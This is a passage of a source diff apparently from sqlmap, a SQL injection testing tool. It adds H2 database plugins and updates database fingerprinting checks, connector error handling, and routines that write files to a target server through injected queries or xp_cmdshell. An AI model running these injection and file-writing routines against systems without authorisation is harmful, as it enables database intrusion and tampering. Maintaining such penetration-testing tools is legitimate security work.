+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.data import queries
+from lib.core.common import unArrayizeValue
+from lib.core.enums import DBMS
+from lib.core.settings import H2_DEFAULT_SCHEMA
+from lib.request import inject
+
+class Enumeration(GenericEnumeration):
+    def __init__(self):
+        GenericEnumeration.__init__(self)
+
+    def getBanner(self):
+        if not conf.getBanner:
+            return
+
+        if kb.data.banner is None:
+            infoMsg = "fetching banner"
+            logger.info(infoMsg)
+
+            query = queries[DBMS.H2].banner.query
+            kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=True))
+
+        return kb.data.banner
+
+    def getPrivileges(self, *args):
+        warnMsg = "on H2 it is not possible to enumerate the user privileges"
+        logger.warn(warnMsg)
+
+        return {}
+
+    def getHostname(self):
+        warnMsg = "on H2 it is not possible to enumerate the hostname"
+        logger.warn(warnMsg)
+
+    def getCurrentDb(self):
+        return H2_DEFAULT_SCHEMA
+
+    def getPasswordHashes(self):
+        warnMsg = "on H2 it is not possible to list password hashes"
+        logger.warn(warnMsg)
+
+        return {}
@@ -0,0 +1,21 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.exception import SqlmapUnsupportedFeatureException
+from plugins.generic.filesystem import Filesystem as GenericFilesystem
+
+class Filesystem(GenericFilesystem):
+    def __init__(self):
+        GenericFilesystem.__init__(self)
+
+    def readFile(self, rFile):
+        errMsg = "on H2 it is not possible to read files"
+        raise SqlmapUnsupportedFeatureException(errMsg)
+
+    def writeFile(self, wFile, dFile, fileType=None, forceCheck=False):
+        errMsg = "on H2 it is not possible to write files"
+        raise SqlmapUnsupportedFeatureException(errMsg)
@@ -0,0 +1,96 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.common import Backend
+from lib.core.common import Format
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.enums import DBMS
+from lib.core.session import setDbms
+from lib.core.settings import H2_ALIASES
+from lib.request import inject
+from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
+
+class Fingerprint(GenericFingerprint):
+    def __init__(self):
+        GenericFingerprint.__init__(self, DBMS.H2)
+
+    def getFingerprint(self):
+        value = ""
+        wsOsFp = Format.getOs("web server", kb.headersFp)
+
+        if wsOsFp:
+            value += "%s\n" % wsOsFp
+
+        if kb.data.banner:
+            dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
+
+            if dbmsOsFp:
+                value += "%s\n" % dbmsOsFp
+
+        value += "back-end DBMS: "
+
+        if not conf.extensiveFp:
+            value += DBMS.H2
+            return value
+
+        actVer = Format.getDbms()
+        blank = " " * 15
+        value += "active fingerprint: %s" % actVer
+
+        if kb.bannerFp:
+            banVer = kb.bannerFp.get("dbmsVersion")
+            banVer = Format.getDbms([banVer])
+            value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
+
+        htmlErrorFp = Format.getErrorParsedDBMSes()
+
+        if htmlErrorFp:
+            value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
+
+        return value
+
+    def checkDbms(self):
+        if not conf.extensiveFp and Backend.isDbmsWithin(H2_ALIASES):
+            setDbms("%s %s" % (DBMS.H2, Backend.getVersion()))
+
+            self.getBanner()
+
+            return True
+
+        infoMsg = "testing %s" % DBMS.H2
+        logger.info(infoMsg)
+
+        result = inject.checkBooleanExpression("ZERO() IS 0")
+
+        if result:
+            infoMsg = "confirming %s" % DBMS.H2
+            logger.info(infoMsg)
+
+            result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3")
+
+            if not result:
+                warnMsg = "the back-end DBMS is not %s" % DBMS.H2
+                logger.warn(warnMsg)
+
+                return False
+            else:
+                setDbms(DBMS.H2)
+
+                self.getBanner()
+
+                return True
+        else:
+            warnMsg = "the back-end DBMS is not %s" % DBMS.H2
+            logger.warn(warnMsg)
+
+            return False
+
+    def getHostname(self):
+        warnMsg = "on H2 it is not possible to enumerate the hostname"
+        logger.warn(warnMsg)
@@ -0,0 +1,24 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from plugins.generic.syntax import Syntax as GenericSyntax
+
+class Syntax(GenericSyntax):
+    def __init__(self):
+        GenericSyntax.__init__(self)
+
+    @staticmethod
+    def escape(expression, quote=True):
+        """
+        >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar")
+        'SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar'
+        """
+
+        def escaper(value):
+            return "||".join("CHAR(%d)" % ord(value[i]) for i in xrange(len(value)))
+
+        return Syntax._escape(expression, quote, escaper)
@@ -0,0 +1,31 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.exception import SqlmapUnsupportedFeatureException
+from plugins.generic.takeover import Takeover as GenericTakeover
+
+class Takeover(GenericTakeover):
+    def __init__(self):
+        GenericTakeover.__init__(self)
+
+    def osCmd(self):
+        errMsg = "on H2 it is not possible to execute commands"
+        raise SqlmapUnsupportedFeatureException(errMsg)
+
+    def osShell(self):
+        errMsg = "on H2 it is not possible to execute commands"
+        raise SqlmapUnsupportedFeatureException(errMsg)
+
+    def osPwn(self):
+        errMsg = "on H2 it is not possible to establish an "
+        errMsg += "out-of-band connection"
+        raise SqlmapUnsupportedFeatureException(errMsg)
+
+    def osSmb(self):
+        errMsg = "on H2 it is not possible to establish an "
+        errMsg += "out-of-band connection"
+        raise SqlmapUnsupportedFeatureException(errMsg)
@@ -17,5 +17,5 @@ class Filesystem(GenericFilesystem):
        raise SqlmapUnsupportedFeatureException(errMsg)

    def writeFile(self, wFile, dFile, fileType=None, forceCheck=False):
-        errMsg = "on HSQLDB it is not possible to read files"
+        errMsg = "on HSQLDB it is not possible to write files"
        raise SqlmapUnsupportedFeatureException(errMsg)
@@ -47,7 +47,7 @@ class Fingerprint(GenericFingerprint):
        value += "active fingerprint: %s" % actVer

        if kb.bannerFp:
-            banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
+            banVer = kb.bannerFp.get("dbmsVersion")

            if re.search(r"-log$", kb.data.banner):
                banVer += ", logging enabled"
@@ -106,6 +106,13 @@ class Fingerprint(GenericFingerprint):

                return False
            else:
+                result = inject.checkBooleanExpression("ZERO() IS 0")   # Note: check for H2 DBMS (sharing majority of same functions)
+                if result:
+                    warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB
+                    logger.warn(warnMsg)
+
+                    return False
+
                kb.data.has_information_schema = True
                Backend.setVersion(">= 1.7.2")
                setDbms("%s 1.7.2" % DBMS.HSQLDB)
@@ -12,6 +12,7 @@ except:

 import logging

+from lib.core.common import getSafeExString
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -19,9 +20,9 @@ from plugins.generic.connector import Connector as GenericConnector

 class Connector(GenericConnector):
    """
-    Homepage: http://code.google.com/p/ibm-db/
-    User guide: http://code.google.com/p/ibm-db/wiki/README
-    API: http://www.python.org/dev/peps/pep-0249/
+    Homepage: https://github.com/ibmdb/python-ibmdb
+    User guide: https://github.com/ibmdb/python-ibmdb/wiki/README
+    API: https://www.python.org/dev/peps/pep-0249/
    License: Apache License 2.0
    """

@@ -35,7 +36,7 @@ class Connector(GenericConnector):
            database = "DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port)
            self.connector = ibm_db_dbi.connect(database, self.user, self.password)
        except ibm_db_dbi.OperationalError, msg:
-            raise SqlmapConnectionException(msg)
+            raise SqlmapConnectionException(getSafeExString(msg))

        self.initCursor()
        self.printConnected()
@@ -44,16 +45,16 @@ class Connector(GenericConnector):
        try:
            return self.cursor.fetchall()
        except ibm_db_dbi.ProgrammingError, msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
            return None

    def execute(self, query):
        try:
            self.cursor.execute(query)
        except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError), msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
        except ibm_db_dbi.InternalError, msg:
-            raise SqlmapConnectionException(msg[1])
+            raise SqlmapConnectionException(getSafeExString(msg))

        self.connector.commit()

@@ -44,7 +44,7 @@ class Fingerprint(GenericFingerprint):
        value += "active fingerprint: %s" % actVer

        if kb.bannerFp:
-            banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
+            banVer = kb.bannerFp.get("dbmsVersion")
            banVer = Format.getDbms([banVer])
            value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)

@@ -13,6 +13,6 @@ class Connector(GenericConnector):
        GenericConnector.__init__(self)

    def connect(self):
-        errMsg = "on SAP MaxDB it is not possible to establish a "
+        errMsg = "on SAP MaxDB it is not (currently) possible to establish a "
        errMsg += "direct connection"
        raise SqlmapUnsupportedFeatureException(errMsg)
@@ -5,7 +5,6 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

-from lib.core.common import randomStr
 from lib.core.common import readInput
 from lib.core.common import safeSQLIdentificatorNaming
 from lib.core.common import unsafeSQLIdentificatorNaming
@@ -43,9 +42,8 @@ class Enumeration(GenericEnumeration):
        logger.info(infoMsg)

        rootQuery = queries[DBMS.MAXDB].dbs
-        randStr = randomStr()
        query = rootQuery.inband.query
-        retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.schemaname' % randStr], blind=True)
+        retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.schemaname' % kb.aliasName], blind=True)

        if retVal:
            kb.data.cachedDbs = retVal[0].values()[0]
@@ -79,9 +77,8 @@ class Enumeration(GenericEnumeration):
        rootQuery = queries[DBMS.MAXDB].tables

        for db in dbs:
-            randStr = randomStr()
            query = rootQuery.inband.query % (("'%s'" % db) if db != "USER" else 'USER')
-            retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.tablename' % randStr], blind=True)
+            retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.tablename' % kb.aliasName], blind=True)

            if retVal:
                for table in retVal[0].values()[0]:
@@ -193,7 +190,7 @@ class Enumeration(GenericEnumeration):

            if dumpMode and colList:
                table = {}
-                table[safeSQLIdentificatorNaming(tbl)] = dict((_, None) for _ in colList)
+                table[safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList)
                kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
                continue

@@ -202,15 +199,14 @@ class Enumeration(GenericEnumeration):
            infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
            logger.info(infoMsg)

-            randStr = randomStr()
            query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), ("'%s'" % unsafeSQLIdentificatorNaming(conf.db)) if unsafeSQLIdentificatorNaming(conf.db) != "USER" else 'USER')
-            retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.columnname' % randStr, '%s.datatype' % randStr, '%s.len' % randStr], blind=True)
+            retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.columnname' % kb.aliasName, '%s.datatype' % kb.aliasName, '%s.len' % kb.aliasName], blind=True)

            if retVal:
                table = {}
                columns = {}

-                for columnname, datatype, length in zip(retVal[0]["%s.columnname" % randStr], retVal[0]["%s.datatype" % randStr], retVal[0]["%s.len" % randStr]):
+                for columnname, datatype, length in zip(retVal[0]["%s.columnname" % kb.aliasName], retVal[0]["%s.datatype" % kb.aliasName], retVal[0]["%s.len" % kb.aliasName]):
                    columns[safeSQLIdentificatorNaming(columnname)] = "%s(%s)" % (datatype, length)

                table[tbl] = columns
@@ -15,7 +15,6 @@ from plugins.dbms.mssqlserver.syntax import Syntax
 from plugins.dbms.mssqlserver.takeover import Takeover
 from plugins.generic.misc import Miscellaneous

-
 class MSSQLServerMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
    """
    This class defines Microsoft SQL Server methods
@@ -21,9 +21,9 @@ from plugins.generic.connector import Connector as GenericConnector

 class Connector(GenericConnector):
    """
-    Homepage: http://pymssql.sourceforge.net/
-    User guide: http://pymssql.sourceforge.net/examples_pymssql.php
-    API: http://pymssql.sourceforge.net/ref_pymssql.php
+    Homepage: http://www.pymssql.org/en/stable/
+    User guide: http://www.pymssql.org/en/stable/pymssql_examples.html
+    API: http://www.pymssql.org/en/stable/ref/pymssql.html
    Debian package: python-pymssql
    License: LGPL

@@ -41,8 +41,10 @@ class Connector(GenericConnector):

        try:
            self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout)
-        except (pymssql.Error, _mssql.MssqlDatabaseException), msg:
+        except (pymssql2.Error, _mssql.MssqlDatabaseException), msg:
            raise SqlmapConnectionException(msg)
+        except ValueError:
+            raise SqlmapConnectionException

        self.initCursor()
        self.printConnected()
@@ -67,11 +67,11 @@ class Filesystem(GenericFilesystem):
        chunkName = randomStr(lowercase=True)
        fileScrLines = self._dataToScr(fileContent, chunkName)

-        logger.debug("uploading debug script to %s\%s, please wait.." % (tmpPath, randScr))
+        logger.debug("uploading debug script to %s\\%s, please wait.." % (tmpPath, randScr))

        self.xpCmdshellWriteFile(fileScrLines, tmpPath, randScr)

-        logger.debug("generating chunk file %s\%s from debug script %s" % (tmpPath, chunkName, randScr))
+        logger.debug("generating chunk file %s\\%s from debug script %s" % (tmpPath, chunkName, randScr))

        commands = (
            "cd \"%s\"" % tmpPath,
@@ -174,10 +174,10 @@ class Filesystem(GenericFilesystem):

        encodedFileContent = base64encode(wFileContent)
        encodedBase64File = "tmpf%s.txt" % randomStr(lowercase=True)
-        encodedBase64FilePath = "%s\%s" % (tmpPath, encodedBase64File)
+        encodedBase64FilePath = "%s\\%s" % (tmpPath, encodedBase64File)

        randPSScript = "tmpps%s.ps1" % randomStr(lowercase=True)
-        randPSScriptPath = "%s\%s" % (tmpPath, randPSScript)
+        randPSScriptPath = "%s\\%s" % (tmpPath, randPSScript)

        wFileSize = len(encodedFileContent)
        chunkMaxSize = 1024
@@ -212,15 +212,15 @@ class Filesystem(GenericFilesystem):
        logger.info(infoMsg)

        dFileName = ntpath.basename(dFile)
-        sFile = "%s\%s" % (tmpPath, dFileName)
+        sFile = "%s\\%s" % (tmpPath, dFileName)
        wFileSize = os.path.getsize(wFile)
        debugSize = 0xFF00

        if wFileSize < debugSize:
            chunkName = self._updateDestChunk(wFileContent, tmpPath)

-            debugMsg = "renaming chunk file %s\%s to %s " % (tmpPath, chunkName, fileType)
-            debugMsg += "file %s\%s and moving it to %s" % (tmpPath, dFileName, dFile)
+            debugMsg = "renaming chunk file %s\\%s to %s " % (tmpPath, chunkName, fileType)
+            debugMsg += "file %s\\%s and moving it to %s" % (tmpPath, dFileName, dFile)
            logger.debug(debugMsg)

            commands = (
@@ -248,7 +248,7 @@ class Filesystem(GenericFilesystem):
                    debugMsg = "appending chunk "
                    copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName)

-                debugMsg += "%s\%s to %s file %s\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName)
+                debugMsg += "%s\\%s to %s file %s\\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName)
                logger.debug(debugMsg)

                commands = (
@@ -275,7 +275,7 @@ class Filesystem(GenericFilesystem):

        randVbs = "tmps%s.vbs" % randomStr(lowercase=True)
        randFile = "tmpf%s.txt" % randomStr(lowercase=True)
-        randFilePath = "%s\%s" % (tmpPath, randFile)
+        randFilePath = "%s\\%s" % (tmpPath, randFile)

        vbs = """Dim inputFilePath, outputFilePath
        inputFilePath = "%s"
@@ -338,7 +338,7 @@ class Filesystem(GenericFilesystem):

        self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile)

-        logger.debug("uploading a visual basic decoder stub %s\%s, please wait.." % (tmpPath, randVbs))
+        logger.debug("uploading a visual basic decoder stub %s\\%s, please wait.." % (tmpPath, randVbs))

        self.xpCmdshellWriteFile(vbs, tmpPath, randVbs)

@@ -359,7 +359,7 @@ class Filesystem(GenericFilesystem):
        chunkMaxSize = 500

        randFile = "tmpf%s.txt" % randomStr(lowercase=True)
-        randFilePath = "%s\%s" % (tmpPath, randFile)
+        randFilePath = "%s\\%s" % (tmpPath, randFile)

        encodedFileContent = base64encode(wFileContent)

@@ -46,9 +46,9 @@ class Fingerprint(GenericFingerprint):
        value += "active fingerprint: %s" % actVer

        if kb.bannerFp:
-            release = kb.bannerFp["dbmsRelease"] if 'dbmsRelease' in kb.bannerFp else None
-            version = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
-            servicepack = kb.bannerFp["dbmsServicePack"] if 'dbmsServicePack' in kb.bannerFp else None
+            release = kb.bannerFp.get("dbmsRelease")
+            version = kb.bannerFp.get("dbmsVersion")
+            servicepack = kb.bannerFp.get("dbmsServicePack")

            if release and version and servicepack:
                banVer = "%s %s " % (DBMS.MSSQL, release)
@@ -136,8 +136,8 @@ class Fingerprint(GenericFingerprint):
        self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
        inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))

-        # Reference: http://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions
-        # http://en.wikipedia.org/wiki/Windows_NT#Releases
+        # Reference: https://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions
+        # https://en.wikipedia.org/wiki/Windows_NT#Releases
        versions = {
            "NT": ("4.0", (6, 5, 4, 3, 2, 1)),
            "2000": ("5.0", (4, 3, 2, 1)),
@@ -26,8 +26,8 @@ class Takeover(GenericTakeover):
    def spHeapOverflow(self):
        """
        References:
-        * http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx
-        * http://support.microsoft.com/kb/959420
+        * https://docs.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-004
+        * https://support.microsoft.com/en-us/help/959420/ms09-004-vulnerabilities-in-microsoft-sql-server-could-allow-remote-co
        """

        returns = {
@@ -13,6 +13,7 @@ except:
 import logging
 import struct

+from lib.core.common import getSafeExString
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -37,10 +38,8 @@ class Connector(GenericConnector):

        try:
            self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password, db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True)
-        except (pymysql.OperationalError, pymysql.InternalError), msg:
-            raise SqlmapConnectionException(msg[1])
-        except struct.error, msg:
-            raise SqlmapConnectionException(msg)
+        except (pymysql.OperationalError, pymysql.InternalError, pymysql.ProgrammingError, struct.error), msg:
+            raise SqlmapConnectionException(getSafeExString(msg))

        self.initCursor()
        self.printConnected()
@@ -49,7 +48,7 @@ class Connector(GenericConnector):
        try:
            return self.cursor.fetchall()
        except pymysql.ProgrammingError, msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
            return None

    def execute(self, query):
@@ -59,9 +58,9 @@ class Connector(GenericConnector):
            self.cursor.execute(query)
            retVal = True
        except (pymysql.OperationalError, pymysql.ProgrammingError), msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
        except pymysql.InternalError, msg:
-            raise SqlmapConnectionException(msg[1])
+            raise SqlmapConnectionException(getSafeExString(msg))

        self.connector.commit()

@@ -5,6 +5,8 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

+from lib.core.agent import agent
+from lib.core.common import getSQLSnippet
 from lib.core.common import isNumPosStrValue
 from lib.core.common import isTechniqueAvailable
 from lib.core.common import popValue
@@ -14,12 +16,15 @@ from lib.core.common import singleTimeWarnMessage
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.decorators import stackedmethod
 from lib.core.enums import CHARSET_TYPE
+from lib.core.enums import DBMS
 from lib.core.enums import EXPECTED
 from lib.core.enums import PAYLOAD
 from lib.core.enums import PLACE
 from lib.core.exception import SqlmapNoneDataException
 from lib.request import inject
+from lib.request.connect import Connect as Request
 from lib.techniques.union.use import unionUse
 from plugins.generic.filesystem import Filesystem as GenericFilesystem

@@ -81,6 +86,7 @@ class Filesystem(GenericFilesystem):

        return result

+    @stackedmethod
    def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False):
        logger.debug("encoding file to its hexadecimal string value")

@@ -110,6 +116,34 @@ class Filesystem(GenericFilesystem):

        return self.askCheckWrittenFile(wFile, dFile, forceCheck)

+    def linesTerminatedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
+        logger.debug("encoding file to its hexadecimal string value")
+
+        fcEncodedList = self.fileEncode(wFile, "hex", True)
+        fcEncodedStr = fcEncodedList[0][2:]
+        fcEncodedStrLen = len(fcEncodedStr)
+
+        if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
+            warnMsg = "the injection is on a GET parameter and the file "
+            warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
+            warnMsg += "bytes, this might cause errors in the file "
+            warnMsg += "writing process"
+            logger.warn(warnMsg)
+
+        debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
+        logger.debug(debugMsg)
+
+        query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=dFile, HEXSTRING=fcEncodedStr)
+        query = agent.prefixQuery(query)        # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
+        payload = agent.payload(newValue=query)
+        Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False)
+
+        warnMsg = "expect junk characters inside the "
+        warnMsg += "file as a leftover from original query"
+        singleTimeWarnMessage(warnMsg)
+
+        return self.askCheckWrittenFile(wFile, dFile, forceCheck)
+
    def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
        debugMsg = "creating a support table to write the hexadecimal "
        debugMsg += "encoded file to"
@@ -128,6 +162,8 @@ class Filesystem(GenericFilesystem):

        logger.debug("inserting the hexadecimal encoded file to the support table")

+        inject.goStacked("SET GLOBAL max_allowed_packet = %d" % (1024 * 1024))  # 1MB (Note: https://github.com/sqlmapproject/sqlmap/issues/3230)
+
        for sqlQuery in sqlQueries:
            inject.goStacked(sqlQuery)

@@ -48,11 +48,11 @@ class Fingerprint(GenericFingerprint):
            (50000, 50096),  # MySQL 5.0
            (50100, 50172),  # MySQL 5.1
            (50400, 50404),  # MySQL 5.4
-            (50500, 50558),  # MySQL 5.5
-            (50600, 50638),  # MySQL 5.6
-            (50700, 50720),  # MySQL 5.7
+            (50500, 50564),  # MySQL 5.5
+            (50600, 50644),  # MySQL 5.6
+            (50700, 50726),  # MySQL 5.7
            (60000, 60014),  # MySQL 6.0
-            (80000, 80003),  # MySQL 8.0
+            (80000, 80015),  # MySQL 8.0
        )

        index = -1
@@ -124,7 +124,7 @@ class Fingerprint(GenericFingerprint):
            value += "\n%scomment injection fingerprint: %s" % (blank, comVer)

        if kb.bannerFp:
-            banVer = kb.bannerFp["dbmsVersion"] if "dbmsVersion" in kb.bannerFp else None
+            banVer = kb.bannerFp.get("dbmsVersion")

            if banVer and re.search(r"-log$", kb.data.banner):
                banVer += ", logging enabled"
@@ -183,8 +183,15 @@ class Fingerprint(GenericFingerprint):
            # reading information_schema on some platforms is causing annoying timeout exits
            # Reference: http://bugs.mysql.com/bug.php?id=15855

+            # Determine if it is MySQL >= 8.0.0
+            if inject.checkBooleanExpression("ISNULL(JSON_STORAGE_FREE(NULL))"):
+                kb.data.has_information_schema = True
+                Backend.setVersion(">= 8.0.0")
+                setDbms("%s 8" % DBMS.MYSQL)
+                self.getBanner()
+
            # Determine if it is MySQL >= 5.0.0
-            if inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"):
+            elif inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"):
                kb.data.has_information_schema = True
                Backend.setVersion(">= 5.0.0")
                setDbms("%s 5" % DBMS.MYSQL)
@@ -196,9 +203,17 @@ class Fingerprint(GenericFingerprint):
                infoMsg = "actively fingerprinting %s" % DBMS.MYSQL
                logger.info(infoMsg)

-                # Check if it is MySQL >= 5.5.0
-                if inject.checkBooleanExpression("TO_SECONDS(950501)>0"):
-                    Backend.setVersion(">= 5.5.0")
+                # Check if it is MySQL >= 5.7
+                if inject.checkBooleanExpression("ISNULL(JSON_QUOTE(NULL))"):
+                    Backend.setVersion(">= 5.7")
+
+                # Check if it is MySQL >= 5.6
+                elif inject.checkBooleanExpression("ISNULL(VALIDATE_PASSWORD_STRENGTH(NULL))"):
+                    Backend.setVersion(">= 5.6")
+
+                # Check if it is MySQL >= 5.5
+                elif inject.checkBooleanExpression("TO_SECONDS(950501)>0"):
+                    Backend.setVersion(">= 5.5")

                # Check if it is MySQL >= 5.1.2 and < 5.5.0
                elif inject.checkBooleanExpression("@@table_open_cache=@@table_open_cache"):
@@ -24,10 +24,10 @@ os.environ["NLS_LANG"] = ".AL32UTF8"

 class Connector(GenericConnector):
    """
-    Homepage: http://cx-oracle.sourceforge.net/
-    User guide: http://cx-oracle.sourceforge.net/README.txt
-    API: http://cx-oracle.sourceforge.net/html/index.html
-    License: http://cx-oracle.sourceforge.net/LICENSE.txt
+    Homepage: https://oracle.github.io/python-cx_Oracle/
+    User https://cx-oracle.readthedocs.io/en/latest/
+    API: https://wiki.python.org/moin/DatabaseProgramming
+    License: https://cx-oracle.readthedocs.io/en/latest/license.html#license
    """

    def __init__(self):
@@ -46,7 +46,7 @@ class Fingerprint(GenericFingerprint):
        value += "active fingerprint: %s" % actVer

        if kb.bannerFp:
-            banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
+            banVer = kb.bannerFp.get("dbmsVersion")
            banVer = Format.getDbms([banVer])
            value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)

@@ -68,23 +68,23 @@ class Fingerprint(GenericFingerprint):
        infoMsg = "testing %s" % DBMS.ORACLE
        logger.info(infoMsg)

-        # NOTE: SELECT ROWNUM=ROWNUM FROM DUAL does not work connecting
-        # directly to the Oracle database
+        # NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does
+        # not work connecting directly to the Oracle database
        if conf.direct:
            result = True
        else:
-            result = inject.checkBooleanExpression("ROWNUM=ROWNUM")
+            result = inject.checkBooleanExpression("LENGTH(SYSDATE)=LENGTH(SYSDATE)")

        if result:
            infoMsg = "confirming %s" % DBMS.ORACLE
            logger.info(infoMsg)

-            # NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does
+            # NOTE: SELECT NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1]) FROM DUAL does
            # not work connecting directly to the Oracle database
            if conf.direct:
                result = True
            else:
-                result = inject.checkBooleanExpression("LENGTH(SYSDATE)=LENGTH(SYSDATE)")
+                result = inject.checkBooleanExpression("NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1])")

            if not result:
                warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE
@@ -45,7 +45,7 @@ class Fingerprint(GenericFingerprint):
        value += "active fingerprint: %s" % actVer

        if kb.bannerFp:
-            banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
+            banVer = kb.bannerFp.get("dbmsVersion")
            banVer = Format.getDbms([banVer])
            value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)

@@ -60,7 +60,7 @@ class Fingerprint(GenericFingerprint):
        """
        References for fingerprint:

-        * http://www.postgresql.org/docs/9.1/interactive/release.html (up to 9.1.3)
+        * https://www.postgresql.org/docs/current/static/release.html
        """

        if not conf.extensiveFp and Backend.isDbmsWithin(PGSQL_ALIASES):
@@ -73,7 +73,7 @@ class Fingerprint(GenericFingerprint):
        infoMsg = "testing %s" % DBMS.PGSQL
        logger.info(infoMsg)

-        result = inject.checkBooleanExpression("[RANDNUM]::int=[RANDNUM]")
+        result = inject.checkBooleanExpression("QUOTE_IDENT(NULL) IS NULL")

        if result:
            infoMsg = "confirming %s" % DBMS.PGSQL
@@ -97,8 +97,12 @@ class Fingerprint(GenericFingerprint):
            infoMsg = "actively fingerprinting %s" % DBMS.PGSQL
            logger.info(infoMsg)

-            if inject.checkBooleanExpression("TO_JSONB(1) IS NOT NULL"):
-                Backend.setVersion(">= 9.5.0")
+            if inject.checkBooleanExpression("XMLTABLE(NULL) IS NULL"):
+                Backend.setVersion(">= 10.0")
+            elif inject.checkBooleanExpression("SIND(0)=0"):
+                Backend.setVersionList([">= 9.6.0", "< 10.0"])
